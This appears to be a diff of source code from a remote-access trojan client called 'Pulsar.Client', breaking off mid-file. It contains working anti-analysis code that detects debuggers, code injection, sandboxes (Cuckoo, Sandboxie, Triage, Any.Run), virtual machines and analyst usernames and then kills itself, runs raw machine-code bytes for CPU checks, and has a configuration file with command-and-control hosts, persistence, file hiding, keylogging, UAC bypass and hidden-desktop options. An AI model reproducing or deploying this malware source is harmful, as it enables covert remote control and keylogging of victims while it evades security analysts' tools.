//new DetectionMethod<Func<bool>>(AntiInjection.ChangeCLRModuleImageMagic, "ChangeCLRModuleImageMagic", "CLR module image magic modification"),
new DetectionMethod<Func<bool>>(AntiInjection.CheckForSuspiciousBaseAddress, "CheckForSuspiciousBaseAddress", "Suspicious base address (process hollowing)")
};
int cycleCount = 0;
while (true)
{
cycleCount++;
LogDebug($"Starting injection detection cycle #{cycleCount}");
int totalChecks = injectionChecks.Count;
int currentCheck = 0;
foreach (var injectionCheck in injectionChecks)
{
currentCheck++;
try
{
LogDebug($"Running injection check {currentCheck}/{totalChecks}: {injectionCheck.Name}");
if (injectionCheck.Method())
{
LogDetection("INJECTION", injectionCheck.Name, injectionCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to injection detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"Injection check {injectionCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"Injection check {injectionCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"Injection detection cycle #{cycleCount} completed successfully");
int randomSleep = new Random().Next(1000, 5000);
LogDebug($"Sleeping for {randomSleep}ms before next injection check cycle");
Thread.Sleep(randomSleep);
}
}
private static void CheckDebugger()
{
LogDebug("Starting debugger detection checks in background thread...");
var debugDetections = new List<DetectionMethod<Func<bool>>>
{
//new DetectionMethod<Func<bool>>(AntiDebug.NtUserGetForegroundWindowAntiDebug, "NtUserGetForegroundWindowAntiDebug", "Debugger window in foreground"),
new DetectionMethod<Func<bool>>(AntiDebug.DebuggerIsAttached, "DebuggerIsAttached", "Managed debugger attached"),
new DetectionMethod<Func<bool>>(AntiDebug.IsDebuggerPresentCheck, "IsDebuggerPresentCheck", "Native debugger present"),
new DetectionMethod<Func<bool>>(AntiDebug.BeingDebuggedCheck, "BeingDebuggedCheck", "PEB BeingDebugged flag set"),
new DetectionMethod<Func<bool>>(AntiDebug.NtGlobalFlagCheck, "NtGlobalFlagCheck", "NtGlobalFlag indicates debugging"),
new DetectionMethod<Func<bool>>(AntiDebug.NtSetDebugFilterStateAntiDebug, "NtSetDebugFilterStateAntiDebug", "Debug filter state manipulation"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugFlags, "NtQueryInformationProcessCheck_ProcessDebugFlags", "Process debug flags set"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugPort, "NtQueryInformationProcessCheck_ProcessDebugPort", "Debug port detected"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugObjectHandle, "NtQueryInformationProcessCheck_ProcessDebugObjectHandle", "Debug object handle detected"),
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_InvalidHandle, "NtCloseAntiDebug_InvalidHandle", "Invalid handle debugging technique"),
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_ProtectedHandle, "NtCloseAntiDebug_ProtectedHandle", "Protected handle debugging technique"),
new DetectionMethod<Func<bool>>(AntiDebug.HardwareRegistersBreakpointsDetection, "HardwareRegistersBreakpointsDetection", "Hardware breakpoints detected"),
new DetectionMethod<Func<bool>>(AntiDebug.FindWindowAntiDebug, "FindWindowAntiDebug", "Known debugger windows detected")
};
int cycleCount = 0;
while (true)
{
cycleCount++;
LogDebug($"Starting debugger detection cycle #{cycleCount}");
try
{
LogDebug("Executing HideThreadsAntiDebug");
AntiDebug.HideThreadsAntiDebug();
}
catch (Exception ex)
{
LogDebug($"HideThreadsAntiDebug failed with exception: {ex.Message}");
}
int totalChecks = debugDetections.Count;
int currentCheck = 0;
foreach (var debugCheck in debugDetections)
{
currentCheck++;
try
{
LogDebug($"Running debug check {currentCheck}/{totalChecks}: {debugCheck.Name}");
if (debugCheck.Method())
{
LogDetection("DEBUGGER", debugCheck.Name, debugCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to debugger detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"Debug check {debugCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"Debug check {debugCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"Debugger detection cycle #{cycleCount} completed successfully");
int randomSleep = new Random().Next(1000, 5000);
LogDebug($"Sleeping for {randomSleep}ms before next debugger check cycle");
Thread.Sleep(randomSleep);
}
}
public static void StartAnti()
{
LogDebug($"[ANTI] Starting Anti-Analysis protection systems at {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
LogDebug($"Debug mode is {(DebugMode ? "ENABLED" : "DISABLED")}");
LogSystemInfo();
if (Settings.ANTIVM)
{
LogDebug("[ANTI] Anti-VM protection enabled - Checking for virtualization environments...");
LogDebug("ANTIVM setting is enabled, starting virtualization checks");
try
{
CheckVirtualization();
LogDebug("[ANTI] No virtualization detected - Anti-VM checks passed");
}
catch (Exception ex)
{
LogDebug($"CheckVirtualization failed with exception: {ex.Message}");
LogDebug("[ERROR] Anti-VM checks encountered an error but continuing...");
}
}
else
{
LogDebug("ANTIVM setting is disabled, skipping virtualization checks");
}
if (Settings.ANTIDEBUG)
{
LogDebug("[ANTI] Anti-Debug protection enabled - Starting background monitoring threads...");
LogDebug("ANTIDEBUG setting is enabled, starting background detection threads");
try
{
LogDebug("Starting injection detection thread");
Task.Factory.StartNew(() => CheckInjection(), TaskCreationOptions.LongRunning);
LogDebug("[ANTI] Injection detection thread started");
}
catch (Exception ex)
{
LogDebug($"Failed to start injection detection thread: {ex.Message}");
LogDebug("[ERROR] Failed to start injection detection thread");
}
try
{
LogDebug("Starting debugger detection thread");
Task.Factory.StartNew(() => CheckDebugger(), TaskCreationOptions.LongRunning);
LogDebug("[ANTI] Debugger detection thread started");
}
catch (Exception ex)
{
LogDebug($"Failed to start debugger detection thread: {ex.Message}");
LogDebug("[ERROR] Failed to start debugger detection thread");
}
LogDebug("[ANTI] Anti-Debug background monitoring is now active");
}
else
{
LogDebug("ANTIDEBUG setting is disabled, skipping debug detection");
}
LogDebug("[ANTI] Anti-Analysis protection initialization complete");
LogDebug($"[ANTI] Protection Status: {GetProtectionStatus()}");
LogDebug("StartAnti() completed successfully");
}
/// <summary>
/// Toggle debug mode on/off during runtime
/// </summary>
/// <param name="enabled">True to enable debug logging, false to disable</param>
public static void SetDebugMode(bool enabled)
{
DebugMode = enabled;
LogDebug($"[ANTI] Debug mode {(enabled ? "ENABLED" : "DISABLED")}");
}
/// <summary>
/// Get status of anti-protection systems
/// </summary>
/// <returns>Status string</returns>
public static string GetProtectionStatus()
{
return $"Anti-VM: {(Settings.ANTIVM ? "ENABLED" : "DISABLED")}, " +
$"Anti-Debug: {(Settings.ANTIDEBUG ? "ENABLED" : "DISABLED")}, " +
$"Debug Mode: {(DebugMode ? "ENABLED" : "DISABLED")}";
}
/// <summary>
/// Log system information for debugging purposes
/// </summary>
public static void LogSystemInfo()
{
if (!DebugMode) return;
try
{
LogDebug("=== SYSTEM INFORMATION ===");
LogDebug($"OS Version: {Environment.OSVersion}");
LogDebug($"CLR Version: {Environment.Version}");
LogDebug($"Process Name: {Process.GetCurrentProcess().ProcessName}");
LogDebug($"Process ID: {Process.GetCurrentProcess().Id}");
LogDebug($"Is 64-bit Process: {Environment.Is64BitProcess}");
LogDebug($"Is 64-bit OS: {Environment.Is64BitOperatingSystem}");
LogDebug($"Machine Name: {Environment.MachineName}");
LogDebug($"User Name: {Environment.UserName}");
LogDebug($"Working Set: {Environment.WorkingSet} bytes");
LogDebug("=== END SYSTEM INFORMATION ===");
}
catch (Exception ex)
{
LogDebug($"Failed to log system information: {ex.Message}");
}
}
}
}
+562
View File
@@ -0,0 +1,562 @@
using System;
using System.IO;
using System.Threading;
using System.Management;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using Pulsar.Client.Anti.Helper;
using static Pulsar.Client.Anti.Helper.Delegates;
namespace Pulsar.Client.Anti.VM
{
public class AntiVirtualization
{
#region WinApi
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandleA(string Library);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck);
[DllImport("ucrtbase.dll", SetLastError = true)]
private static extern IntPtr fopen(string filename, string mode);
[DllImport("ucrtbase.dll", SetLastError = true)]
private static extern int fclose(IntPtr filestream);
#endregion
/// <summary>
/// Checks if Sandboxie is present on the system.
/// </summary>
/// <returns>True if Sandboxie is detected, otherwise false.</returns>
public static bool IsSandboxiePresent()
{
if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Comodo Sandbox is present on the system.
/// </summary>
/// <returns>True if Comodo Sandbox is detected, otherwise false.</returns>
public static bool IsComodoSandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Qihoo 360 Sandbox is present on the system.
/// </summary>
/// <returns>True if Qihoo 360 Sandbox is detected, otherwise false.</returns>
public static bool IsQihoo360SandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Cuckoo Sandbox is present on the system.
/// </summary>
/// <returns>True if Cuckoo Sandbox is detected, otherwise false.</returns>
public static bool IsCuckooSandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if the environment is running in VMware or VirtualBox.
/// </summary>
/// <returns>True if VMware or VirtualBox is detected, otherwise false.</returns>
public static bool CheckForVMwareAndVirtualBox()
{
try
{
// Check registry for VM indicators (more reliable than WMI)
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS"))
{
if (key != null)
{
var biosVersion = key.GetValue("BIOSVersion")?.ToString();
var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString();
var systemProductName = key.GetValue("SystemProductName")?.ToString();
if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX")))
return true;
if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek")))
return true;
if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox")))
return true;
}
}
// Check for VMware tools registry
using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools"))
{
if (vmwareKey != null)
return true;
}
// Check for VirtualBox registry
using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions"))
{
if (vboxKey != null)
return true;
}
}
catch
{
// Registry access failed, assume not VM
}
// Fallback to WMI if registry checks fail
try
{
using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get())
{
foreach (ManagementBaseObject Item in ObjectItems)
{
string ManufacturerString = Item["Manufacturer"].ToString().ToLower();
string ModelName = Item["Model"].ToString();
if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware")))
{
return true;
}
}
}
}
}
catch
{
// WMI not available, assume not VM
}
return false;
}
/// <summary>
/// Checks if the environment is running in KVM.
/// </summary>
/// <returns>True if KVM is detected, otherwise false.</returns>
public static bool CheckForKVM()
{
string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" };
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
foreach (string driver in Directory.GetFiles(driversPath, "*"))
{
foreach (string badDriver in BadDriversList)
{
if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
}
}
return false;
}
/// <summary>
/// Checks if the current user name matches any blacklisted names.
/// </summary>
/// <returns>True if a blacklisted name is detected, otherwise false.</returns>
public static bool CheckForBlacklistedNames()
{
string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" };
string Username = Environment.UserName.ToLower();
foreach (string BadUsernames in BadNames)
{
if (Username == BadUsernames.ToLower())
{
return true;
}
}
return false;
}
/// <summary>
/// Detects bad VM-related files and directories on the system.
/// </summary>
/// <returns>True if bad VM-related files or directories are detected, otherwise false.</returns>
public static bool BadVMFilesDetection()
{
try
{
string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"};
string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" };
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
foreach (string file in Directory.GetFiles(driversPath))
{
if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase)))
return true;
}
return badDirs.Any(dir => Directory.Exists(dir));
}
catch
{
return false;
}
}
/// <summary>
/// Checks for the presence of bad VM-related process names.
/// </summary>
/// <returns>True if bad VM-related process names are detected, otherwise false.</returns>
public static bool BadVMProcessNames()
{
try
{
string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" };
foreach (Process Processes in Process.GetProcesses())
{
foreach (string BadProcessName in BadProcessNames)
{
if (Processes.ProcessName == BadProcessName)
{
return true;
}
}
}
}
catch { }
return false;
}
/// <summary>
/// Checks for VM-related device names.
/// </summary>
/// <returns>True if VM-related device names are detected, otherwise false.</returns>
public static bool CheckDevices()
{
string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" };
foreach (string Device in Devices)
{
try
{
IntPtr File = fopen(Device, "r");
if (File != IntPtr.Zero)
{
fclose(File);
return true;
}
}
catch
{
continue;
}
}
return false;
}
/// <summary>
/// Checks if the environment is running in Parallels.
/// </summary>
/// <returns>True if Parallels is detected, otherwise false.</returns>
public static bool CheckForParallels()
{
string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" };
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
{
foreach (string BadDrivers in BadDriversList)
{
if (Utils.Contains(Drivers, BadDrivers))
{
return true;
}
}
}
return false;
}
/// <summary>
/// Checks for specific disk drive models that indicate a virtual environment.
/// </summary>
/// <returns>True if specific disk drive models are detected, otherwise false.</returns>
public static bool TriageCheck()
{
try
{
// Check registry for disk information (more reliable than WMI)
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi"))
{
if (key != null)
{
foreach (var subKeyName in key.GetSubKeyNames())
{
using (var subKey = key.OpenSubKey(subKeyName))
{
if (subKey != null)
{
foreach (var portKeyName in subKey.GetSubKeyNames())
{
using (var portKey = subKey.OpenSubKey(portKeyName))
{
if (portKey != null)
{
var identifier = portKey.GetValue("Identifier")?.ToString();
if (!string.IsNullOrEmpty(identifier) &&
(identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK")))
{
return true;
}
}
}
}
}
}
}
}
}
}
catch
{
// Registry access failed, assume not VM
}
// Fallback to WMI if registry checks fail
try
{
using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive"))
{
foreach (var item in searcher.Get())
{
string model = item["Model"].ToString();
if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK"))
{
return true;
}
}
}
}
catch
{
// WMI not available, assume not VM
}
return false;
}
/// <summary>
/// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run.
/// </summary>
/// <returns>True if specific Machine GUIDs are detected, otherwise false.</returns>
public static bool AnyRunCheck()
{
return false;
}
/// <summary>
/// Checks if the environment is running in QEMU.
/// </summary>
/// <returns>True if QEMU is detected, otherwise false.</returns>
public static bool CheckForQemu()
{
string[] BadDriversList = { "qemu-ga", "qemuwmi" };
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
{
foreach (string BadDrivers in BadDriversList)
{
if (Utils.Contains(Drivers, BadDrivers))
{
return true;
}
}
}
return false;
}
public sealed class Generic
{
/// <summary>
/// Checks for VM-related ports on the system.
/// </summary>
/// <returns>True if no port connectors are found, indicating a possible VM environment, otherwise false.</returns>
public static bool PortConnectionAntiVM()
{
try
{
if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0)
return true;
}
catch
{
// WMI not available, assume ports exist
}
return false;
}
/// <summary>
/// Checks if the environment is running in an emulation by measuring the sleep interval.
/// </summary>
/// <returns>True if emulation is detected, otherwise false.</returns>
public static bool EmulationTimingCheck()
{
long Tick = Environment.TickCount;
Thread.Sleep(500);
long Tick2 = Environment.TickCount;
if (((Tick2 - Tick) < 500L))
{
return true;
}
return false;
}
/// <summary>
/// Checks if the AVX instructions is properly implemented and handled.
/// </summary>
/// <returns>true if the instructions is not handled correctly, otherwise false.</returns>
public static bool AVXInstructions()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 };
else
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
Utils.FreeCode(Allocated);
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
/// <summary>
/// Checks if the RDRAND instruction is properly implemented.
/// </summary>
/// <returns>true if the instruction is implemented correctly, otherwise false.</returns>
public static bool RDRANDInstruction()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
else
Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
/// <summary>
/// Checks if the instructions that control the register flags is properly handling the register.
/// </summary>
/// <returns>true if everything is going correctly, otherwise false.</returns>
public static bool FlagsManipulationInstructions()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
else
Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
}
}
}
+7
View File
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8.1" />
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
+134
View File
@@ -0,0 +1,134 @@
using Pulsar.Common.Cryptography;
using Pulsar.Common.Models;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Windows.Forms;
namespace Pulsar.Client.Config
{
/// <summary>
/// Stores the configuration of the client.
/// </summary>
public static class Settings
{
// Version string reported to the server regardless of assembly metadata.
private const string VersionOverride = "2.4.5";
#if DEBUG
public static string VERSION = "1.0.0";
public static string HOSTS = "127.0.0.1:4782;";
public static int RECONNECTDELAY = 500;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Pulsar Client Startup";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool ANTIVM = false;
public static bool ANTIDEBUG = false;
public static bool PASTEBIN = false;
public static bool UACBYPASS = false;
public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
// needed for hvnc (why?) why not use the desktop pointer directly?
public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
public static bool Initialize()
{
SetupPaths();
return true;
}
#else
public static string VERSION = "";
public static string HOSTS = "";
public static int RECONNECTDELAY = 5000;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "";
public static string INSTALLNAME = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "";
public static string STARTUPKEY = "";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool ANTIVM = false;
public static bool ANTIDEBUG = false;
public static bool PASTEBIN = false;
public static bool UACBYPASS = false;
public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
// needed for hvnc
public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
public static bool Initialize()
{
if (string.IsNullOrEmpty(VERSION)) return false;
var aes = new Aes256(ENCRYPTIONKEY);
TAG = aes.Decrypt(TAG);
VERSION = aes.Decrypt(VERSION);
HOSTS = aes.Decrypt(HOSTS);
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
INSTALLNAME = aes.Decrypt(INSTALLNAME);
MUTEX = aes.Decrypt(MUTEX);
STARTUPKEY = aes.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
SetupPaths();
return VerifyHash();
}
#endif
public static string ReportedVersion => string.IsNullOrWhiteSpace(VersionOverride) ? VERSION : VersionOverride;
static void SetupPaths()
{
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
}
static bool VerifyHash()
{
try
{
using (var rsa = SERVERCERTIFICATE.GetRSAPublicKey())
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY));
return rsa.VerifyHash(hash, Convert.FromBase64String(SERVERSIGNATURE), HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
}
}
catch (Exception)
{
return false;
}
}
}
}
+59
View File
@@ -0,0 +1,59 @@
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace Pulsar.Client.Extensions
{
public static class KeyExtensions
{
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
{
return pressedKeys.Any(x => x.IsModifierKey());
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
public static string GetDisplayName(this Keys key)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
}
}
@@ -0,0 +1,19 @@
using Pulsar.Client.Utilities;
using System.Diagnostics;
using System.Text;
namespace Pulsar.Client.Extensions
{
public static class ProcessExtensions
{
public static string GetMainModuleFileName(this Process proc)
{
uint nChars = 260;
